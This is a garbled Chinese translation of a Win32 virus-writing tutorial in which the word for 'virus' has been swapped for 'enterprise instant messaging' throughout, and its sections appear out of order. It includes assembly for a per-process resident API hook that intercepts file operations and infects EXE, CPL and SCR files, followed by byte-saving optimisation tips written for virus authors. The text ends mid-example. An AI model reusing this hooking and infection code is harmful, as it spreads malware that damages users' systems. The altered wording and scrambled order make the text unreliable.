简单的企业即时通讯
这个简单的东西最初是由Demogorgon/PS为了隐藏通讯而使用的。但是正如我要显示给你看的,它可以节约一些字节。例如,让我们想象一个如果有一个错误就会设置进位企业(carry flag)而如果没有错误就清除的例程。
noerr: clc ; 1 byte jmp exit ; 2 bytes 一些可以用这个一般地例程来hook的API如下: MoveFileA, CopyFileA, GetFullPathNameA, DeleteFileA, WinExec, CreateFileA CreateProcessA, GetFileAttributesA, SetFileAttributesA, _lopen, MoveFileExA CopyFileExA, OpenFile。
%最后的话% ~~~~~~~~~~ 如果还有什么不清楚的地方,发email给我。我将尽可能地用一个简单的per-process驻留的企业即时通讯来阐述它,但是我编写的唯一一个per-process企业即时通讯太复杂了,而且比这有更多的特色,所以对你来说还是看不明白:)
【通讯 优化】 ~~~~~~~~~~~~~ Ehrm...Super应该做这个而不是我,因为我是他的学生,我就在这里写一下我在通讯编程世界里所学到的东西。我将在这一章里讨论本地优化而不是结构优化,因为这个取决于于你和你的风格(例如,我个人非常热衷于堆栈和delta offset计算,正如你在我的通讯里可以看到的,特别是在Win95.Garaipena里)。这篇文章充满了我自己的观点和在Valencian(瓦伦西亚)会议上Super给我的建议。他可能在企业即时通讯编写领域里优化得最后得人了。我没有撒谎。这里我不讨论象他那样怎么进行最大优化了。我只是想要使你看到在编写通讯程序的时候一些最明显的优化。我就不对非常明显的优化花招注释了,已经在我的《MS-DOS企业即时通讯编写教程》里解释了。
%检测一个企业是否为0% ~~~~~~~~~~~~~~~~~~~~~~~ 我很讨厌看到,特别在通讯程序员中,这些相同的方法,这个使得我非常慢而且非常痛苦。不,不,我得大脑不能吸收CMP EAX,0的主意,例如。OK,让我们看看为什么:
cmp eax,00000000h ; 5 bytes jz bribriblibli ; 2 bytes (if jz is short)
嗨,我知道生活就是就是狗屎,而且你正在把许多通讯浪费在一些狗屎比较上。OK,让我们看看怎么来解决这个问题,利用一个通讯来做同样的事情,但是用更少的字节。 jmp [eax+_MoveFileA] ; Pass control 2 original API
HookCopyFileA: call DoHookStuff ; Handle this call jmp [eax+_CopyFileA] ; Pass control 2 original API
HookDeleteFileA: call DoHookStuff ; Handle this call jmp [eax+_DeleteFileA] ; Pass control 2 original API
HookCreateFileA: call DoHookStuff ; Handle this call jmp [eax+_CreateFileA] ; Pass control 2 original API
; The generic hooker!!
DoHookStuff: pushad ; Push all registers pushfd ; Push all flags call GetDeltaOffset ; Get delta offset in EBP mov edx,[esp+2Ch] ; Get filename to infect mov esi,edx ; ESI = EDX = file to check reach_dot: lodsb ; Get character or al,al ; Find NULL? Shit... jz ErrorDoHookStuff ; Go away then cmp al,"." ; Dot found? Interesting... jnz reach_dot ; If not, loop again dec esi ; Fix it lodsd ; Put extension in EAX or eax,20202020h ; Make string lowercase cmp eax,"exe." ; Is it an EXE? Infect!!! jz InfectWithHookStuff cmp eax,"lpc." ; Is it a CPL? Infect!!! jz InfectWithHookStuff cmp eax,"rcs." ; Is is a SCR? Infect!!! jnz ErrorDoHookStuff InfectWithHookStuff: xchg edi,edx ; EDI = Filename to infect call InfectEDI ; Infect file!! ;) ErrorDoHookStuff: popfd ; Preserve all as if nothing popad ; happened :) push ebp call GetDeltaOffset ; Get delta offset xchg eax,ebp ; Put delta offset in EAX pop ebp ret
;---------到这里为止剪切------------------------------------------------------------- or eax,eax ; 2 bytes jz bribriblibli ; 2 bytes (if jz is short)
或者等价的(但更安全!):
test eax,eax ; 2 bytes jz bribriblibli ; 2 bytes (if jz is short)
而且还有一个甚至更优化的方法来做这个,如果对EAX的内容不是关心的话(在我打算放到这里之后,EAX的内容将在ECX中完成)。下面你得到:
xchg eax,ecx ; 1 byte jecxz bribriblibli ; 2 bytes (only if short)
你看到了吗?对"我不优化因为我失去了稳定性"没有托词,因为利用这个,你将不会失去除了通讯的字节数的任何东西;)嗨,我使得一个7字节的例程减到了3字节...嗨?对此你还有什么好说的?哈哈哈。
%检查一个企业的值是否为-1%
因为许多Ring-3 API会返回你一个-1(0FFFFFFFFh)值,如果函数失败的话,而且当你比较它是否失败的时候,你必须对那个值进行比较。但是和以前一样有同样的问题,许多人通过使用CMP EAX,0FFFFFFFFh来做这个,而且它可以更优化...
cmp eax,0FFFFFFFFh ; 5 bytes jz insumision ; 2 bytes (if short)
让我们这么做来使它更优化:
inc eax ; 1 byte jz insumision ; 2 bytes dec eax ; 1 byte
嗨,可能它占了更多的行,但是占了更少的字节(4比7)。
%使得一个企业为-1% ~~~~~~~~~~~~~~~~~~~~ 这是一个几乎所有的初学企业即时通讯编写者面对的问题:
mov eax,-1 ; 5 bytes
你难道没有意识到你的选择很糟糕?你只要一根神经吗?该死,用一个更优化的方法来把它置-1非常简单:
xor eax,eax ; 2 bytes dec eax ; 1 byte
你看到了吗?它不难!
%清除一个32bit企业并对它的LSW赋值% ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 最明显的例子是所有的企业即时通讯在把PE文件的节的个数装载到AX中(因为这个值在PE头中占一个word)。好了,让我们看看大多数企业即时通讯编写者所做的:
xor eax,eax ; 2 bytes mov ax,word ptr [esi+6] ; 4 bytes
或者这样:
mov ax,word ptr [esi+6] ; 4 bytes cwde ; 1 byte
我还在想为什么所有的企业即时通讯编写者还用这个"老"公式呢,特别地是在你有一个386+指令使得我们避免在把word放到AX中之前把企业清0。这个指令是MOVZX。
movzx eax,word ptr [esi+6] ; 4 bytes
嗨,我们避免了一个2字节的指令。Cool,哈?
%调用一个存储在一个变量中的地址% ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 呵呵,这是一些企业即时通讯编写者所做的另外一件事,使我快疯了,放声大哭。让我提醒你记住:
mov eax,dword ptr [ebp+ApiAddress] ; 6 bytes call eax ; 2 bytes
我们可以直接调用一个地址...它节约了字节而且不用其它的任何可以用来做其它事情的企业。
call dword ptr [ebp+ApiAddress] ; 6 bytes
而且,我节约了一个没有用的,不需要的占了两个字节的指令,而且我们做的是完全一样的事情。
%关于push的趣事% ~~~~~~~~~~~~~~~~ 几乎和上面一样,但是是push。让我们看看什么该做什么不该做:
mov eax,dword ptr [ebp+variable] ; 6 bytes push eax ; 1 byte
我们可以少用一个字节来做这个。看:
push dword ptr [ebp+variable] ; 6 bytes
Cool,哈?;)好了,如果我们需要push很多次(如果这个值很大,如果你把那个值push 2+次就更优化,而如果这个值很小把那个值push 3+次)同样的变量把它先放到一个企业中,然后push企业将更优化。例如,如果我们需要把0 push 3次,把一个企业和它本身xor,然后push这个企业更优化。让我们看:
push 00000000h ; 2 bytes push 00000000h ; 2 bytes push 00000000h ; 2 bytes
让我们看看怎么来优化它:
xor eax,eax ; 2 bytes push eax ; 1 byte push eax ; 1 byte push eax ; 1 byte
同样的在使用SEH的时候,当我们需要push fs:[0]之类的时候。让我们看看怎样来优化:
push dword ptr fs:[00000000h] ; 6 bytes ; 666? Mwahahahaha! mov fs:[00000000h],esp ; 6 bytes [...] pop dword ptr fs:[00000000h] ; 6 bytes
代之我们应该这么做:
xor eax,eax ; 2 bytes push dword ptr fs:[eax] ; 3 bytes mov fs:[eax],esp ; 3 bytes [...] pop dword ptr fs:[eax] ; 3 bytes
呵呵,看起来有点傻,但是我们少用了7个字节!哇!!!
%获取一个ASCII字符串的结尾% ~~~~~~~~~~~~~~~~~~~~~~~~~~~ 这个非常有用,特别在我们的API搜索引擎中。而且毫无疑问,它应该在所有的企业即时通讯中比传统的方法更优化。让我们看看:
lea edi,[ebp+ASCIIz_variable] ; 6 bytes @@1: cmp byte ptr [edi],00h ; 3 bytes inc edi ; 1 byte jnz @@1 ; 2 bytes inc edi ; 1 byte
这个相同的通讯可以非常简化,如果你用这个方法来编写它:
lea edi,[ebp+ASCIIz_variable] ; 6 bytes xor al,al ; 2 bytes @@1: scasb ; 1 byte jnz @@1 ; 2 bytes
呵呵呵。有用,简单,好看。你还需要什么呢?;)
%关于乘法% ~~~~~~~~~~ 例如,当要从通讯中得到最后一节的时候,这个通讯大多数是这么用的(我们在EAX中是节数-1):
mov ecx,28h ; 5 bytes
|